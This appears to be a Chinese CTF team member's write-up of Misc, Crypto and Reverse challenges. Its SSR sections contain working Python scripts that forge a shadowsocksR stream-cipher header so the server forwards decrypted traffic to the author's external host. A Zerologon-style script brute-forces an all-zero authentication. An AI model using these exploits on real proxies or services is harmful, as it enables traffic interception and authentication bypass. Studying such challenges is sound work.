和队友一起拿了两万分,完美收尾。
逆向挺难的,不过ak了密码学就很舒服。
本文只放出我负责部分的题解,我们队的题解可以去群里下载。
Misc 出个流量分析吧 过滤条件http contains flag
出个LSB吧 lsb提取二维码
Crypto classical 维吉尼亚密码,没有密钥,只能词频分析。
https://www.guballa.de/vigenere-solver
SSR 预测出原有流量的一小段明文(本题是流量包的前7字节,因为[0x1(1B) + ip(4B) + port(2B)]),利用流加密的缺陷,通过异或把AESCFB(Ci-1)消掉,伪造出明文,使服务器错误解析流量包,将流量包转发到我们的服务器上。
知识点太大了,我有时间写一篇博文。这里就不过多展开了。
这里只说一个大坑:
curl是本地解析域名,然后传给ssr代理,使用的头部是[0x1 + ip(4B) + port(2B)],而浏览器是直接把域名传给ssr,域名由ssserver所在的服务器解析,使用的头部是[0x3 + len(域名) + 域名 + port(2B)]
我一开始伪造的明文选用了0x3的这种。如果凡哥真的是用浏览器打开的iv4n.cc,那么我伪造的时候,我的域名不可以超过iv4n.cc的长度(不然你就没法伪造多余部分的明文了啊)。幸好我刚好有个iyzy.cc的闲置域名。然而还是没打通。
最后想了想,请求的那个包只有100+的长度,浏览器默认的头部一般都400+,而且flag一般就放在头部里面。所以凡哥基本上就是用curl发出的请求。流量包里由dns解析iv4n.cc的记录也可以印证这一点。所以预测的明文就是[0x1 + iv4n.cc的ip + 80],而不是[0x3 + 0x7 + iv4n.cc + 80]
多说一句,如果凡哥真的用的是0x3这种形式的头部(我本地测试了下,直接用浏览器打开网页,选用的就是0x3这种形式的头部),那么做题的人必须手头有一个长度不长于iv4n.cc的域名。所以如果大胆一点,凡哥访问了一个类似于k.cc的域名,那么参赛者必须有个不长于k.cc的域名(不然你就没法伪造多余部分的明文了啊)。这个长度的域名售价估计上万吧。
除非,[0x3 + len(域名) + 域名 + port(2B)]后面的几个字节你仍然可以预测到。这到底能不能预测到,得去读ssr的源码,看看s5的头部的格式到底是什么样的。我只是在这里纸上谈兵罢了。
(其实我猜后面紧跟的几个字节其实就是GET / HTTP/1.1之类的,但是只是猜测的)
菜鸡表示纯密码学小白,以上如果谬误,欢迎指正~
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 from scapy.all import rdpcapimport socketimport timeimport structpackets = rdpcap("ss.pcapng" ) sport=39194 src="192.168.70.129" iyzyi_ip = "47.101.215.199" iyzyi_port = 50055 ssserver_ip = "219.219.61.234" ssserver_port = 30005 iv4n_blog_ip = '185.199.111.153' iv4n_blog_port = 80 http_packet = b'' for packet in packets: if "TCP" in packet and packet['TCP' ].payload: if packet["IP" ].src==src and packet["TCP" ].sport==sport and len(packet['TCP' ].payload.load)>16 : http_packet += packet['TCP' ].payload.load recv_iv, recv_data=http_packet[:16 ], http_packet[16 :] predict_data = b"\x01" + socket.inet_pton(socket.AF_INET, iv4n_blog_ip) + bytes(struct.pack('>H' , iv4n_blog_port)) print(predict_data) predict_xor_key = bytes([(predict_data[i] ^ recv_data[i]) for i in range(len(predict_data))]) fake_header = b'\x01' + socket.inet_pton(socket.AF_INET, iyzyi_ip) + bytes(struct.pack('>H' , iyzyi_port)) print(fake_header) fake_header = bytes([(fake_header[i] ^ predict_xor_key[i]) for i in range(len(fake_header))]) fake_data = recv_iv + fake_header + recv_data[len(fake_header):] print(fake_data.hex()) s = socket.socket() s.connect((ssserver_ip, ssserver_port)) s.send(fake_data) print('Tcp sending... ' ) time.sleep(1 ) s.close()
SSR Revenge 这题的协议是凡哥自己写的,github上有290+stars,简直tql。
和上一题没多大区别,原理是相同的,关键在于分析出这个协议的哪个地方的数据是用于表示流量转发的。
请求包有三条,第二条包的第5个字节到第10个字节共6字节吗,前四个表示ip,后2个表示端口。
然后伪造明文就行。这个位置处原有的明文是可以预测的,就是流量包中dns解析拿到的第一条ip,同时http服务的端口是80:
然后注意这题有三条发送包,是阻塞包,发送包后必须收到响应包才能发送下一条封包。
然后改改上一题的代码就行。有些注释是上一题的,我懒得改了,大家自行理解吧。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 from scapy.all import rdpcapimport socketimport timeimport structpackets = rdpcap("iox.pcapng" ) src="192.168.0.101" sport=24643 iyzyi_ip = "47.101.215.199" iyzyi_port = 50055 ssserver_ip = "219.219.61.234" ssserver_port = 30006 iv4n_blog_ip = '185.199.110.153' iv4n_blog_port = 80 http_packet = b'' for packet in packets: if "TCP" in packet and packet['TCP' ].payload: if packet["IP" ].src==src and packet["TCP" ].sport==sport and len(packet['TCP' ].payload.load): http_packet += packet['TCP' ].payload.load recv_iv, recv_data=http_packet[:8 ], http_packet[8 :] predict_data = socket.inet_pton(socket.AF_INET, iv4n_blog_ip) + bytes(struct.pack('>H' , iv4n_blog_port)) predict_xor_key = bytes([(predict_data[i] ^ recv_data[i]) for i in range(len(predict_data))]) fake_header = socket.inet_pton(socket.AF_INET, iyzyi_ip) + bytes(struct.pack('>H' , iyzyi_port)) fake_header = bytes([(fake_header[i] ^ predict_xor_key[i]) for i in range(len(fake_header))]) fake_data = recv_iv + fake_header + recv_data[len(fake_header):] print(fake_data.hex()) s = socket.socket() s.connect((ssserver_ip, ssserver_port)) s.send(fake_data[:4 ]) r1 = s.recv(2 ) print(r1) s.send(fake_data[4 :4 +10 ]) r2 = s.recv(10 ) print(r2) s.send(fake_data[14 :]) print('Tcp sending... ' ) time.sleep(1 ) s.close()
总结一下这两道题:我似乎知道GFW检测ssr流量包的方法之一了。
Challenge & Response CVE-2020-1472
凡哥用golang仿了上面这个漏洞的利用过程。
简单来说就是aes-cfb8的iv等于0的时候,输出有256分之1的可能会是0。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 import requestssession = requests.Session() while (1 ): url = 'http://219.219.61.234:30004/chall' session.get(url) url = 'http://219.219.61.234:30004/auth' data = {'client_challenge' : '00000000000000000000000000000000' , 'response' : '00000000000000000000000000000000' } r = session.post(url, data) print(r.text) if 'SUCCESS' in r.text: url = 'http://219.219.61.234:30004/secret' r = session.get(url) print(r.text) break
re hello world 把b[i]写成i,然后查错查了10分钟。。。。。
1 2 3 4 5 6 7 8 9 10 k = 'is_easy_right?' b = b'*&\x121\x1a\x07\x11:-\x0f\x0e\x1aAK6C1\x00>\x16\x175\x1d\x108\x11DJ\x1b,+\x17P\x03\x04' flag = [] for i in range(len(b)): flag.append((b[i] ^ ord(k[i % len(k)]))) print(flag) print('' .join(map(chr, flag)))
non_name 我记得好像是matlab解4元线性方程组,太简单了,过程没保存下来。
riscv 困死了,这题简单写一下,详细的可以过几天去我博客看。
看到题目标题就大喊不妙,risc架构以前我没接触过。
下载后ida无法打开,去google搜关键字,下个ida插件,能看汇编。
你问我怎么反编译成c的代码?洗洗睡吧,梦里有。
然后linux下strings file搜了下字符串。发现了带有提示信息的字符串。以及一个疑似是换位表的字符串,其中含有较多的空格(这个是我的突破点,后面会细说)
然后回到ida,来到correct这个字符串处。发现没有交叉引用。表示理解,毕竟只是个插件而已。但是,汇编中一定有语法能引用这个字符串。
google搜了一波,没搜到引用字符串的汇编指令。所以就行自己写个hello world,用riscv编译一下,就知道了。于是git riscv-chaintools,但是人在外地,手机热点贼差,没下成功。然后想docker下编译,装了几个docker,都报错提示缺so。
此时已经几个小时过去了,心态开始爆炸。
然后找到了一个在线编译的网站,终于得知了字符串引用的汇编指令:
就是利用lui和addi的组合拳。
知道如何引用的字符串地址后,可以轻松定位到验证逻辑。
然后发现走了34次if。
我心想,这种新架构,而且放在了Medium里面,学长应该不会出太难的逻辑吧,估计就是个z3之类的。就和队友说,今晚做出这道题再睡。
然后这一晚就没睡了。
然后就是在验证逻辑的附近找向上的跳转,因为你的输入总得遍历一次吧。
前面两处比较好分析,但是下面这个实在是没分析出来:
主要是,这几个栈内变量,多次使用,也没法动调,根本分析不动。
逻辑就在面前了,就几百行汇编,但就是死活没看懂。有个48*(i+1),也有个49*(i+1),i在有的跳转中会加一。
感觉问题的关键就在于我前面说的那个逻辑:
有点像跳转的分发器,有的走48的分支,有的走49的分支。
第二天在火车上想了一天。
最后的的突破点在BpmvcuriVayeQLIKJ f U2 l od Z hx 5 _T s t{ k 7F n Ej X C} O AN w D8 Y bq 9 gP W 63 G MR 4 Sz H 这串字符串上。
为什么都是两个空格呢,就很奇怪。
二叉树的叶节点!!!!!!!!!!!
我马上画了半颗树,算了下cumt的c的值,不管是左边的权值是48*deep还是49*deep,都算不对。
然后算了下flag的f的值,48*1 + 48 * 2 + … + 48 * 15 + 49 * 16 = 6544
而第一次check的值是(2 << 12) -1648 = 6544
芜湖,起飞!!!!!!!!!!!!!!!!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 la = [2 ,2 ,1 ,0 ,1 ,0 ,1 ,1 ,1 ,1 ,2 ,1 ,0 ,1 ,1 ,0 ,1 ,0 ,0 ,0 ,1 ,1 ,1 ,0 ,0 ,0 ,1 ,1 ,0 ,2 ,1 ,0 ,0 ,1 ] lb = [-1648 , -1633 , -0x790 , 0x1e4 , -0x155 , 0x1e4 , -0x77f , -0x77f , 0x68e , -0x154 , -0x680 , 0x3be , 0 , 0x3cb , -0x154 , 0x3f0 , -0x3a0 , 0x120 , 0x1e3 , 0x3f0 , 0x3cb , -0x3a0 , -0x154 , 0x2d5 , 0x547 , 0x2d5 , -0x5b0 , -0x154 , 0x122 , -0x661 , 0x129 , 0x1e0 , 0x6c0 , -0x788 ] def get_num (a, b ): return (a << 12 ) + b lc = [get_num(la[i], lb[i]) for i in range(len(la))] i = 0 dic = {} table = b'BpmvcuriVayeQLIKJ f U2 l od Z hx 5 _T s t{ k 7F n Ej X C} O AN w D8 Y bq 9 gP W 63 G MR 4 Sz H ' def dfs (deep, value ): global i, dic if i < len(table): i += 1 if table[i-1 ] != 32 : dic[value] = table[i-1 ] dfs(deep+1 , 48 * (deep+1 ) + value) dfs(deep+1 , 49 * (deep+1 ) + value) dfs(0 , 0 ) for i in lc: print(chr(dic[i]),end='' )
riscv架构里面考察算法,这难度。。。
不过此刻,我大概懂学长为啥把这题归在Medium里面了。我估计他很有可能刻意地没有对二叉树字符串进行加密存储,故意留了这个当作突破点。
要是真的把二叉树字符串藏起来。我必然做不出这道题。